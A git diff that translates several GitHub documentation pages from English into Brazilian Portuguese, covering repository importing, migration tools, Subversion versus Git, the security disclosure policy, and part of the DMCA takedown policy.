   fpt: '*'
   ghec: '*'
-shortTitle: Use GitHub Importer
+shortTitle: Use Importador do GitHub
 ---
+
 {% tip %}
 
-**Tip:** GitHub Importer is not suitable for all imports. For example, if your existing code is hosted on a private network, our tool won't be able to access it. In these cases, we recommend [importing using the command line](/articles/importing-a-git-repository-using-the-command-line) for Git repositories or an external [source code migration tool](/articles/source-code-migration-tools) for projects imported from other version control systems.
+**Dica:** o Importador do GitHub não é indicado para todas as importações. Por exemplo, se o código existente está hospedado em uma rede privada, sua ferramenta não conseguirá acessá-lo. Nesses casos, recomendamos [importar usando a linha de comando](/articles/importing-a-git-repository-using-the-command-line) para repositórios Git ou uma [ferramenta de migração de código-fonte](/articles/source-code-migration-tools) externa para projetos importados por outros sistemas de controle de versões.
 
 {% endtip %}
 
-If you'd like to match the commits in your repository to the authors' GitHub user accounts during the import, make sure every contributor to your repository has a GitHub account before you begin the import.
+Se você quiser combinar os commits de seu repositório com as contas de usuário GitHub do autor durante a importação, garanta que cada contribuidor de seu repositório tem uma conta GitHub antes de você começar a importação.
 
 {% data reusables.repositories.repo-size-limit %}
 
-1. In the upper-right corner of any page, click {% octicon "plus" aria-label="Plus symbol" %}, and then click **Import repository**.
-![Import repository option in new repository menu](/assets/images/help/importer/import-repository.png)
-2. Under "Your old repository's clone URL", type the URL of the project you want to import.
-![Text field for URL of imported repository](/assets/images/help/importer/import-url.png)
-3. Choose your user account or an organization to own the repository, then type a name for the repository on GitHub.
-![Repository owner menu and repository name field](/assets/images/help/importer/import-repo-owner-name.png)
-4. Specify whether the new repository should be *public* or *private*. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
-![Public or private repository radio buttons](/assets/images/help/importer/import-public-or-private.png)
-5. Review the information you entered, then click **Begin import**.
-![Begin import button](/assets/images/help/importer/begin-import-button.png)
-6. If your old project was protected by a password, type your login information for that project, then click **Submit**.
-![Password form and Submit button for password-protected project](/assets/images/help/importer/submit-old-credentials-importer.png)
-7. If there are multiple projects hosted at your old project's clone URL, choose the project you'd like to import, then click **Submit**.
-![List of projects to import and Submit button](/assets/images/help/importer/choose-project-importer.png)
-8. If your project contains files larger than 100 MB, choose whether to import the large files using [Git Large File Storage](/articles/versioning-large-files), then click **Continue**.
-![Git Large File Storage menu and Continue button](/assets/images/help/importer/select-gitlfs-importer.png)
+1. No canto superior direito de qualquer página, clique em {% octicon "plus" aria-label="Plus symbol" %} e depois clique em **Import repository** (Importar repositório). ![Opção Import repository (Importar repositório) no menu New repository (Repositório novo)](/assets/images/help/importer/import-repository.png)
+2. Embaixo de "Your old repository's clone URL" (URL clone de seu antigo repositório), digite a URL do projeto que quer importar. ![Campo de texto para URL de repositório importado](/assets/images/help/importer/import-url.png)
+3. Escolha sua conta de usuário ou uma organização para ser proprietária do repositório e digite um nome para o repositório no GitHub. ![Menu Repository owner (Proprietário do repositório) e campo repository name (nome do repositório)](/assets/images/help/importer/import-repo-owner-name.png)
+4. Especifique se o novo repositório deve ser *público* ou *privado*. Para obter mais informações, consulte "[Configurar visibilidade do repositório](/articles/setting-repository-visibility)". ![Botões de rádio Public or private repository (Repositório público ou privado)](/assets/images/help/importer/import-public-or-private.png)
+5. Revise a informação que digitou e clique em **Begin import** (Iniciar importação). ![Botão Begin import (Iniciar importação)](/assets/images/help/importer/begin-import-button.png)
+6. Caso seu projeto antigo esteja protegido por uma senha, digite sua informação de login para aquele projeto e clique em **Submit** (Enviar). ![Formulário de senha e botão Submit (Enviar) para projetos protegidos por senha](/assets/images/help/importer/submit-old-credentials-importer.png)
+7. Se houver vários projetos hospedados na URL clone de seu projeto antigo, selecione o projeto que você quer importar e clique em **Submit** (Enviar). ![Lista de projetos para importar e botão Submit (Enviar)](/assets/images/help/importer/choose-project-importer.png)
+8. Se seu projeto contiver arquivos maiores que 100 MB, selecione se quer importar os arquivos maiores usando o [Git Large File Storage](/articles/versioning-large-files) e clique em **Continue** (Continuar). ![Menu do Git Large File Storage e botão Continue (Continuar)](/assets/images/help/importer/select-gitlfs-importer.png)
 
-You'll receive an email when the repository has been completely imported.
+Você receberá um e-mail quando o repositório for totalmente importado.
 
-## Further reading
+## Leia mais
 
-- "[Updating commit author attribution with GitHub Importer](/articles/updating-commit-author-attribution-with-github-importer)"
+- "[Atualizar a atribuição do autor do commit com o Importador do GitHub](/articles/updating-commit-author-attribution-with-github-importer)"
diff --git a/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md b/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
index b4936814c0..d57a022ff4 100644
--- a/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
+++ b/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Importing source code to GitHub
-intro: 'You can import repositories to GitHub using {% ifversion fpt %}GitHub Importer, the command line,{% else %}the command line{% endif %} or external migration tools.'
+title: Importar código-fonte para o GitHub
+intro: 'É possível importar repositórios para o GitHub com o {% ifversion fpt %}Importador do GitHub, linha de comando,{% else %}linha de comando{% endif %} ou ferramentas externas de migração.'
 redirect_from:
   - /articles/importing-an-external-git-repository
   - /articles/importing-from-bitbucket
@@ -19,6 +19,6 @@ children:
   - /importing-a-git-repository-using-the-command-line
   - /adding-an-existing-project-to-github-using-the-command-line
   - /source-code-migration-tools
-shortTitle: Import code to GitHub
+shortTitle: Importar código para o GitHub
 ---
 
diff --git a/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md b/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
index eaf2788967..8e04b51619 100644
--- a/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
+++ b/translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
@@ -1,6 +1,6 @@
 ---
-title: Source code migration tools
-intro: You can use external tools to move your projects to GitHub.
+title: Ferramentas de migração de código-fonte
+intro: Você pode usar ferramentas externas para mover seus projetos para o GitHub.
 redirect_from:
   - /articles/importing-from-subversion
   - /articles/source-code-migration-tools
@@ -10,48 +10,49 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Code migration tools
+shortTitle: Ferramentas de migração de código
 ---
+
 {% ifversion fpt or ghec %}
 
-We recommend using [GitHub Importer](/articles/about-github-importer) to import projects from Subversion, Mercurial, Team Foundation Version Control (TFVC), or another Git repository. You can also use these external tools to convert your project to Git.
+Recomendamos usar o [Importador do GitHub](/articles/about-github-importer) para importar projetos de Subversion, Mercurial, Controle de versão do Team Foundation (TFVC) ou outro repositório Git. Você também pode usar essas ferramentas externas para converter o projeto em Git.
 
 {% endif %}
 
-## Importing from Subversion
+## Importar do Subversion
 
-In a typical Subversion environment, multiple projects are stored in a single root repository. On GitHub, each of these projects will usually map to a separate Git repository for a user account or organization. We suggest importing each part of your Subversion repository to a separate GitHub repository if:
+Em um ambiente típico do Subversion, vários projetos são armazenados em um único repositório raiz. No GitHub, cada um desses projetos é associado a um repositório do Git separado para uma conta de usuário ou organização. Sugerimos que você importe cada parte do repositório do Subversion para um repositório separado do GitHub se:
 
-* Collaborators need to check out or commit to that part of the project separately from the other parts
-* You want different parts to have their own access permissions
+* Os colaboradores precisarem fazer checkout ou commit na parte do projeto separada de outras partes
+* Desejar que diferentes partes tenham suas próprias permissões de acesso
 
-We recommend these tools for converting Subversion repositories to Git:
+Recomendamos estas ferramentas para converter repositórios do Subversion em Git:
 
 - [`git-svn`](https://git-scm.com/docs/git-svn)
 - [svn2git](https://github.com/nirvdrum/svn2git)
 
-## Importing from Mercurial
+## Importar do Mercurial
 
-We recommend [hg-fast-export](https://github.com/frej/fast-export) for converting Mercurial repositories to Git.
+Recomendamos o [hg-fast-export](https://github.com/frej/fast-export) para converter repositórios do Mercurial em Git.
 
-## Importing from TFVC
+## Importando do TFVC
 
-We recommend [git-tfs](https://github.com/git-tfs/git-tfs) for moving changes between TFVC and Git.
+Recomendamos [git-tfs](https://github.com/git-tfs/git-tfs) para transferir alterações entre TFVC e Git.
 
-For more information about moving from TFVC (a centralized version control system) to Git, see "[Plan your Migration to Git](https://docs.microsoft.com/devops/develop/git/centralized-to-git)" from the Microsoft docs site.
+Para obter mais informações sobre como mudar do TFVC (um sistema centralizado de controle de versão) para o Git, consulte "[Planeje sua migração para o Git](https://docs.microsoft.com/devops/develop/git/centralized-to-git)" no site da documentação da Microsoft.
 
 {% tip %}
 
-**Tip:** After you've successfully converted your project to Git, you can [push it to {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
+**Dica:** depois de converter com sucesso o projeto em Git, você poderá [fazer push dele para o {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}
 
-## Further reading
+## Leia mais
 
-- "[About GitHub Importer](/articles/about-github-importer)"
-- "[Importing a repository with GitHub Importer](/articles/importing-a-repository-with-github-importer)"
+- "[Sobre o Importador do GitHub](/articles/about-github-importer)"
+- "[Importar um repositório com o Importador do GitHub](/articles/importing-a-repository-with-github-importer)"
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})
 
 {% endif %}
diff --git a/translations/pt-BR/content/github/importing-your-projects-to-github/index.md b/translations/pt-BR/content/github/importing-your-projects-to-github/index.md
index b2db417ddf..b6f8a62250 100644
--- a/translations/pt-BR/content/github/importing-your-projects-to-github/index.md
+++ b/translations/pt-BR/content/github/importing-your-projects-to-github/index.md
@@ -1,7 +1,7 @@
 ---
-title: Importing your projects to GitHub
-intro: 'You can import your source code to {% data variables.product.product_name %} using a variety of different methods.'
-shortTitle: Importing your projects
+title: Importar projetos para o GitHub
+intro: 'Você pode importar seu código-fonte para {% data variables.product.product_name %} usando uma série de métodos diferentes.'
+shortTitle: Importar seus projetos
 redirect_from:
   - /categories/67/articles
   - /categories/importing
diff --git a/translations/pt-BR/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md b/translations/pt-BR/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
index 21d7ded6ac..3d98edd818 100644
--- a/translations/pt-BR/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
+++ b/translations/pt-BR/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
@@ -1,6 +1,6 @@
 ---
-title: What are the differences between Subversion and Git?
-intro: 'Subversion (SVN) repositories are similar to Git repositories, but there are several differences when it comes to the architecture of your projects.'
+title: Diferenças entre o Subversion e o Git
+intro: 'Os repositórios do Subversion (SVN) são semelhantes aos do Git, mas com várias diferenças em relação à arquitetura dos projetos.'
 redirect_from:
   - /articles/what-are-the-differences-between-svn-and-git
   - /articles/what-are-the-differences-between-subversion-and-git
@@ -9,11 +9,12 @@ versions:
   fpt: '*'
   ghes: '*'
   ghec: '*'
-shortTitle: Subversion & Git differences
+shortTitle: Subversão & diferenças do Git
 ---
-## Directory structure
 
-Each *reference*, or labeled snapshot of a commit, in a project is organized within specific subdirectories, such as `trunk`, `branches`, and `tags`. For example, an SVN project with two features under development might look like this:
+## Estrutura do diretório
+
+Cada *referência* ou instantâneo etiquetado de um commit em um projeto é organizado em subdiretórios específicos, como `trunk`, `branches` e `tags`. Por exemplo, um projeto do SVN com dois recursos em desenvolvimento pode ter esta aparência:
 
       sample_project/trunk/README.md
       sample_project/trunk/lib/widget.rb
@@ -22,48 +23,48 @@ Each *reference*, or labeled snapshot of a commit, in a project is organized wit
       sample_project/branches/another_new_feature/README.md
       sample_project/branches/another_new_feature/lib/widget.rb
 
-An SVN workflow looks like this:
+Um fluxo de trabalho do SVN fica assim:
 
-* The `trunk` directory represents the latest stable release of a project.
-* Active feature work is developed within subdirectories under `branches`.
-* When a feature is finished, the feature directory is merged into `trunk` and removed.
+* O diretório `trunk` representa a versão estável mais recente de um projeto.
+* O trabalho de recurso ativo é desenvolvido com subdiretórios em `branches`.
+* Quando um recurso é concluído, o diretório dele passa por merge em `trunk` e é removido.
 
-Git projects are also stored within a single directory. However, Git obscures the details of its references by storing them in a special *.git* directory. For example, a Git project with two features under development might look like this:
+Os projetos do Git também são armazenados em um único diretório. No entanto, o Git obscurece os detalhes das referências armazenando-os em um diretório *.git* especial. Por exemplo, um projeto do Git com dois recursos em desenvolvimento pode ter esta aparência:
 
       sample_project/.git
       sample_project/README.md
       sample_project/lib/widget.rb
 
-A Git workflow looks like this:
+Um fluxo de trabalho do Git fica assim:
 
-* A Git repository stores the full history of all of its branches and tags within the *.git* directory.
-* The latest stable release is contained within the default branch.
-* Active feature work is developed in separate branches.
-* When a feature is finished, the feature branch is merged into the default branch and deleted.
+* Um repositório do Git armazena o histórico completo de todos os branches e tags dentro do diretório *.git*.
+* A última versão estável está contida no branch-padrão.
+* O trabalho de recurso ativo é desenvolvido em branches separados.
+* Quando um recurso é concluído, o branch de recurso é mesclado no branch-padrão e excluído.
 
-Unlike SVN, with Git the directory structure remains the same, but the contents of the files change based on your branch.
+Ao contrário do SVN, a estrutura de diretórios no Git permanece a mesma, mas o conteúdo dos arquivos é alterado de acordo com o branch que você possui.
 
-## Including subprojects
+## Incluir subprojetos
 
-A *subproject* is a project that's developed and managed somewhere outside of your main project. You typically import a subproject to add some functionality to your project without needing to maintain the code yourself. Whenever the subproject is updated, you can synchronize it with your project to ensure that everything is up-to-date.
+Um *subprojeto* é um projeto desenvolvido e gerenciado em algum lugar fora do projeto principal. Normalmente, você importa um subprojeto para adicionar alguma funcionalidade ao seu projeto sem precisar manter o código por conta própria. Sempre que o subprojeto é atualizado, você pode sincronizá-lo com o projeto para garantir que tudo esteja atualizado.
 
-In SVN, a subproject is called an *SVN external*. In Git, it's called a *Git submodule*. Although conceptually similar, Git submodules are not kept up-to-date automatically; you must explicitly ask for a new version to be brought into your project.
+No SVN, um subprojeto é chamado de *SVN externo*. No Git, ele é chamado de *submódulo do Git*. Embora conceitualmente semelhantes, os submódulos do Git não são mantidos atualizados de forma automática. É preciso solicitar explicitamente que uma nova versão seja trazida para o projeto.
 
-For more information, see "[Git Tools Submodules](https://git-scm.com/book/en/Git-Tools-Submodules)" in the Git documentation.
+Para obter mais informações, consulte "[Submódulos das ferramentas do Git](https://git-scm.com/book/en/Git-Tools-Submodules)" na documentação do Git.
 
-## Preserving history
+## Preservar o histórico
 
-SVN is configured to assume that the history of a project never changes. Git allows you to modify previous commits and changes using tools like [`git rebase`](/github/getting-started-with-github/about-git-rebase).
+O SVN está configurado para pressupor que o histórico de um projeto nunca é alterado. O Git permite modificar alterações e commits anteriores usando ferramentas como [`git rebase`](/github/getting-started-with-github/about-git-rebase).
 
 {% tip %}
 
-[GitHub supports Subversion clients](/articles/support-for-subversion-clients), which may produce some unexpected results if you're using both Git and SVN on the same project. If you've manipulated Git's commit history, those same commits will always remain within SVN's history. If you accidentally committed some sensitive data, we have [an article that will help you remove it from Git's history](/articles/removing-sensitive-data-from-a-repository).
+[O GitHub oferece suporte a clientes do Subversion](/articles/support-for-subversion-clients), o que pode produzir alguns resultados inesperados se você está usando o Git e o SVN no mesmo projeto. Se você tiver manipulado o histórico de commits do Git, esses mesmos commits permanecerão para sempre no histórico do SVN. Caso tenha feito commit acidentalmente em alguns dados confidenciais, temos [um artigo para ajudar você a removê-lo do histórico do Git](/articles/removing-sensitive-data-from-a-repository).
 
 {% endtip %}
 
-## Further reading
+## Leia mais
 
-- "[Subversion properties supported by GitHub](/articles/subversion-properties-supported-by-github)"
-- ["Branching and Merging" from the _Git SCM_ book](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging)
-- "[Importing source code to GitHub](/articles/importing-source-code-to-github)"
-- "[Source code migration tools](/articles/source-code-migration-tools)"
+- "[Propriedades do Subversion com suporte no GitHub](/articles/subversion-properties-supported-by-github)"
+- ["Fazer branch e merge" no livro _Git SCM_ book](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging)
+- "[Importar código-fonte para o GitHub](/articles/importing-source-code-to-github)"
+- "[Ferramentas de migração do código-fonte](/articles/source-code-migration-tools)"
diff --git a/translations/pt-BR/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md b/translations/pt-BR/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md
index 3bfef628dd..958c146b82 100644
--- a/translations/pt-BR/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md
+++ b/translations/pt-BR/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md
@@ -1,5 +1,5 @@
 ---
-title: Coordinated Disclosure of Security Vulnerabilities
+title: Divulgação coordenada de vulnerabilidades de segurança
 redirect_from:
   - /responsible-disclosure
   - /coordinated-disclosure
@@ -11,10 +11,11 @@ topics:
   - Policy
   - Legal
 ---
-We want to keep GitHub safe for everyone. If you've discovered a security vulnerability in GitHub, we appreciate your help in disclosing it to us in a coordinated manner.
 
-## Bounty Program
+Queremos manter o GitHub seguro para todos. Se você descobriu uma vulnerabilidade de segurança no GitHub, agradecemos sua ajuda em divulgá-la de forma coordenada.
 
-Like several other large software companies, GitHub provides a bug bounty to better engage with security researchers. The idea is simple: hackers and security researchers (like you) find and report vulnerabilities through our coordinated disclosure process. Then, to recognize the significant effort that these researchers often put forth when hunting down bugs, we reward them with some cold hard cash.
+## Programa de Recompensas
 
-Check out the [GitHub Bug Bounty](https://bounty.github.com) site for bounty details, review our comprehensive [Legal Safe Harbor Policy](/articles/github-bug-bounty-program-legal-safe-harbor) terms as well, and happy hunting!
+Como várias outras grandes empresas de software, o GitHub fornece uma recompensa por erros para estimular os pesquisadores de segurança. A ideia é simples: os hackers e os pesquisadores de segurança (como você) encontram e informam vulnerabilidades por meio de nosso processo coordenado de divulgação. Então, para reconhecer o esforço significativo que esses pesquisadores muitas vezes fazem ao caçar erros, nós os recompensamos com dinheiro vivo.
+
+Confira o site [Recompensa por Erros do GitHub](https://bounty.github.com) para detalhes de recompensa, revise nossa abrangente [Política de Porto Seguro Legal](/articles/github-bug-bounty-program-legal-safe-harbor) e boa caçada!
diff --git a/translations/pt-BR/content/github/site-policy/dmca-takedown-policy.md b/translations/pt-BR/content/github/site-policy/dmca-takedown-policy.md
index 05d313d7f4..a6da3af453 100644
--- a/translations/pt-BR/content/github/site-policy/dmca-takedown-policy.md
+++ b/translations/pt-BR/content/github/site-policy/dmca-takedown-policy.md
@@ -1,5 +1,5 @@
 ---
-title: DMCA Takedown Policy
+title: Política de retirada DMCA
 redirect_from:
   - /dmca
   - /dmca-takedown
@@ -13,111 +13,111 @@ topics:
   - Legal
 ---
 
-Welcome to GitHub's Guide to the Digital Millennium Copyright Act, commonly known as the "DMCA." This page is not meant as a comprehensive primer to the statute. However, if you've received a DMCA takedown notice targeting content you've posted on GitHub or if you're a rights-holder looking to issue such a notice, this page will hopefully help to demystify the law a bit as well as our policies for complying with it.
+Bem-vindo ao Guia do GitHub para a Lei dos Direitos Autorais do Milênio Digital, comumente conhecida como "DMCA" - Digital Millenium Copyright Act Policy. Esta página não tem a finalidade de ser uma cartilha abrangente sobre o regimento. No entanto, se você recebeu um aviso de retirada DMCA direcionado ao conteúdo que você postou no GitHub, ou se você é um detentor de direitos que pretende enviar tal aviso, esta página vai ajudá-lo a desmistificar a lei, bem como nossas políticas relacionadas.
 
-(If you just want to submit a notice, you can skip to "[G. Submitting Notices](#g-submitting-notices).")
+(Se você quiser apenas enviar uma notificação, você poderá pular para "[G. Enviando avisos](#g-submitting-notices).")
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+Como em todas as questões jurídicas, é sempre melhor consultar um profissional sobre suas dúvidas ou situação específica. Incentivamos a fazê-lo antes de tomar quaisquer medidas que possam impactar seus direitos. Este guia não é um aconselhamento jurídico e não deve ser tomado como tal.
 
-## What Is the DMCA?
+## O que é DMCA?
 
-In order to understand the DMCA and some of the policy lines it draws, it's perhaps helpful to consider life before it was enacted.
+Para compreender a DMCA e algumas das linhas políticas que ela traça, talvez seja útil considerar a vida antes de ela ser promulgada.
 
-The DMCA provides a safe harbor for service providers that host user-generated content. Since even a single claim of copyright infringement can carry statutory damages of up to $150,000, the possibility of being held liable for user-generated content could be very harmful for service providers. With potential damages multiplied across millions of users, cloud-computing and user-generated content sites like YouTube, Facebook, or GitHub probably [never would have existed](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/) without the DMCA (or at least not without passing some of that cost downstream to their users).
+A DMCA fornece um porto seguro para fornecedores de serviços que hospedam conteúdo gerado pelos usuários. Uma vez que, mesmo uma única denúncia de violação de direitos autorais pode acarretar indenização de até 150.000 dólares, a possibilidade de ser responsabilizado por conteúdos gerados por usuários pode ser muito prejudicial para os prestadores de serviços. Com potenciais danos multiplicados por milhões de usuários, a computação em nuvem e os sites de conteúdo gerados pelo usuário, tais como YouTube, Facebook ou o GitHub, provavelmente [nunca teriam existido](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/) sem a DMCA (ou, pelo menos, sem passar alguns desses custos aos seus usuários).
 
-The DMCA addresses this issue by creating a [copyright liability safe harbor](https://www.copyright.gov/title17/92chap5.html#512) for internet service providers hosting allegedly infringing user-generated content. Essentially, so long as a service provider follows the DMCA's notice-and-takedown rules, it won't be liable for copyright infringement based on user-generated content. Because of this, it is important for GitHub to maintain its DMCA safe-harbor status.
+A DMCA resolve esse problema criando um [porto seguro de responsabilidade por direitos autorais](https://www.copyright.gov/title17/92chap5.html#512) para provedores de serviços de internet que hospedam conteúdo gerado por usuários que, supostamente, estejam infringindo esses direitos. Em resumo, enquanto um provedor de serviços seguir as regras de notificação e retirada DMCA, ele não será responsabilizado por violações de direitos autorais com base no conteúdo gerado pelo usuário. Por isso, é importante que o GitHub mantenha seu status de porto seguro DMCA.
 
-The DMCA also prohibits the [circumvention of technical measures](https://www.copyright.gov/title17/92chap12.html) that effectively control access to works protected by copyright. 
+A DMCA também proíbe [contornar medidas técnicas](https://www.copyright.gov/title17/92chap12.html) que controlam efetivamente o acesso a obras protegidas por direitos autorais.
 
-## DMCA Notices In a Nutshell
+## Avisos DMCA em poucas palavras
 
-The DMCA provides two simple, straightforward procedures that all GitHub users should know about: (i) a [takedown-notice](/articles/guide-to-submitting-a-dmca-takedown-notice) procedure for copyright holders to request that content be removed; and (ii) a [counter-notice](/articles/guide-to-submitting-a-dmca-counter-notice) procedure for users to get content re-enabled when content is taken down by mistake or misidentification.
+O DMCA fornece dois procedimentos simples que todos os usuários do GitHub devem conhecer: (i) um procedimento de [tomada em conta](/articles/guide-to-submitting-a-dmca-takedown-notice) para que os titulares de direitos autorais solicitem que o conteúdo seja removido; e (ii) um procedimento de contranotificação [](/articles/guide-to-submitting-a-dmca-counter-notice) para os usuários obterem conteúdo reabilitado quando este for retirado por erro ou identificação incorreta.
 
-DMCA [takedown notices](/articles/guide-to-submitting-a-dmca-takedown-notice) are used by copyright owners to ask GitHub to take down content they believe to be infringing. If you are a software designer or developer, you create copyrighted content every day. If someone else is using your copyrighted content in an unauthorized manner on GitHub, you can send us a DMCA takedown notice to request that the infringing content be changed or removed.
+Os [avisos de retirada](/articles/guide-to-submitting-a-dmca-takedown-notice) DMCA são utilizados por proprietários de direitos autorais para solicitar ao GitHub a retirada de conteúdo que eles acreditam estar infringindo esses direitos. Se você é um desenvolvedor ou designer de software, você cria conteúdo protegido por direitos autorais todos os dias. Se outra pessoa estiver utilizando seus conteúdos protegidos por direitos autorais de forma não autorizada no GitHub, você poderá enviar-nos um aviso de retirada DMCA para solicitar que o conteúdo inapropriado seja alterado ou removido.
 
-On the other hand, [counter notices](/articles/guide-to-submitting-a-dmca-counter-notice) can be used to correct mistakes. Maybe the person sending the takedown notice does not hold the copyright or did not realize that you have a license or made some other mistake in their takedown notice. Since GitHub usually cannot know if there has been a mistake, the DMCA counter notice allows you to let us know and ask that we put the content back up.
+Por outro lado, [contra-avisos de retirada](/articles/guide-to-submitting-a-dmca-counter-notice) podem ser usados para corrigir erros. Talvez a pessoa que enviou o aviso de retirada não tenha direitos autorais ou não tenha percebido que você tem uma licença ou tenha cometido algum outro erro na notificação emitida. Considerando que o GitHub geralmente não sabe se houve um erro, o contra-aviso de retirada de conteúdo DMCA permite que você nos avise e peça que coloquemos o conteúdo de volta.
 
-The DMCA notice and takedown process should be used only for complaints about copyright infringement. Notices sent through our DMCA process must identify copyrighted work or works that are allegedly being infringed. The process cannot be used for other complaints, such as complaints about alleged [trademark infringement](/articles/github-trademark-policy/) or [sensitive data](/articles/github-sensitive-data-removal-policy/); we offer separate processes for those situations.
+O processo de aviso e retirada DMCA deve ser utilizado apenas para queixas relativas a violações dos direitos autorais. Os avisos enviados através do nosso processo DMCA devem identificar a obra ou o trabalho protegido por direitos autorais que estejam alegadamente sendo violados. O processo não pode ser utilizado para outras queixas, tais como reclamações sobre alegada [violação de marca registrada](/articles/github-trademark-policy/) ou [dados confidenciais](/articles/github-sensitive-data-removal-policy/); oferecemos processos separados para essas situações.
 
-## A. How Does This Actually Work?
+## A. Como realmente funciona?
 
-The DMCA framework is a bit like passing notes in class. The copyright owner hands GitHub a complaint about a user. If it's written correctly, we pass the complaint along to the user. If the user disputes the complaint, they can pass a note back saying so. GitHub exercises little discretion in the process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+A abordagem DMCA é um pouco como trocar bilhetinhos em sala de aula. O proprietário dos direitos autorais faz uma reclamação ao GitHub sobre um usuário. Se estiver escrito corretamente, passamos a reclamação para o usuário. Se o usuário discordar da reclamação, pode devolver uma notificação dizendo os motivos. O GitHub atua pouco no processo, determinando se as notificações atendem aos requisitos mínimos da DMCA. Cabe às partes (e aos seus advogados) avaliar o mérito das suas reivindicações, tendo em conta que os avisos devem ser feitos corretamente sob pena de perjúrio.
 
-Here are the basic steps in the process.
+Aqui estão os passos básicos do processo.
 
-1. **Copyright Owner Investigates.** A copyright owner should always conduct an initial investigation to confirm both (a) that they own the copyright to an original work and (b) that the content on GitHub is unauthorized and infringing. This includes confirming that the use is not protected as [fair use](https://www.lumendatabase.org/topics/22). A particular use may be fair if it only uses a small amount of copyrighted content, uses that content in a transformative way, uses it for educational purposes, or some combination of the above. Because code naturally lends itself to such uses, each use case is different and must be considered separately.
-> **Example:** An employee of Acme Web Company finds some of the company's code in a GitHub repository. Acme Web Company licenses its source code out to several trusted partners. Before sending in a take-down notice, Acme should review those licenses and its agreements to confirm that the code on GitHub is not authorized under any of them.
+1. **O proprietário dos direitos autorais faz uma investigação.** O proprietário dos direitos autorais deve sempre realizar uma investigação inicial para confirmar que (a) possui os direitos autorais de uma obra original e (b) o conteúdo no GitHub não é autorizado e viola direitos. Isso inclui a confirmação de que o uso não está protegido como [uso justo](https://www.lumendatabase.org/topics/22). Um determinado uso pode ser considerado justo se utilizar apenas uma pequena quantidade de conteúdo com direitos autorais, se utilizar esse conteúdo de forma transformada, se usá-lo para fins educacionais, ou alguma combinação do exposto acima. Como o código se presta naturalmente a tais usos, cada caso de utilização é diferente, e deve ser considerado separadamente.
+> **Exemplo:** Um funcionário da Acme Web Company encontra algum código da empresa em um repositório GitHub. A Acme Web licencia seu código-fonte para vários parceiros confiáveis. Antes de enviar um aviso de retirada, a Acme deve revisar essas licenças e seus acordos para confirmar que o código no GitHub não está autorizado sob nenhuma delas.
 
-2. **Copyright Owner Sends A Notice.** After conducting an investigation, a copyright owner prepares and sends a [takedown notice](/articles/guide-to-submitting-a-dmca-takedown-notice) to GitHub. Assuming the takedown notice is sufficiently detailed according to the statutory requirements (as explained in the [how-to guide](/articles/guide-to-submitting-a-dmca-takedown-notice)), we will [post the notice](#d-transparency) to our [public repository](https://github.com/github/dmca) and pass the link along to the affected user.
+2. **O proprietário dos direitos autorais envia um aviso.** Depois de realizar uma investigação, o proprietário dos direitos autorais se prepara e envia um [aviso de retirada](/articles/guide-to-submitting-a-dmca-takedown-notice) ao GitHub. Considerando que a notificação recebida seja suficientemente detalhada, de acordo com as exigências estatutárias (conforme explicado no [guia de como fazer](/articles/guide-to-submitting-a-dmca-takedown-notice)), iremos [postar o aviso](#d-transparency) em nosso [repositório público](https://github.com/github/dmca) e passar o link para o usuário afetado.
 
-3. **GitHub Asks User to Make Changes.** If the notice alleges that the entire contents of a repository infringe, or a package infringes, we will skip to Step 6 and disable the entire repository or package expeditiously. Otherwise, because GitHub cannot disable access to specific files within a repository, we will contact the user who created the repository and give them approximately 1 business day to delete or modify the content specified in the notice. We'll notify the copyright owner if and when we give the user a chance to make changes. Because packages are immutable, if only part of a package is infringing, GitHub would need to disable the entire package, but we permit reinstatement once the infringing portion is removed. 
+3. **O GitHub solicita que o Usuário faça Alterações.** Se a notificação alegar que todo o conteúdo de um repositório ou um pacote estão cometendo violações, pularemos para a Etapa 6 e desabilitaremos todo o repositório ou pacote de forma rápida. Caso contrário, como o GitHub não pode desabilitar o acesso a arquivos específicos dentro de um repositório, entraremos em contato com o usuário que criou o repositório e daremos aproximadamente 1 dia útil para que ele exclua ou modifique o conteúdo especificado na notificação. Nós notificaremos o proprietário dos direitos autorais se e quando dermos ao usuário a chance de fazer alterações. Porque os pacotes são imutáveis, se apenas parte de um pacote estiver sendo infringido, o GitHub deverá desabilitar todo o pacote. No entanto, permitimos a reposição uma vez que a parte infração seja removida.
 
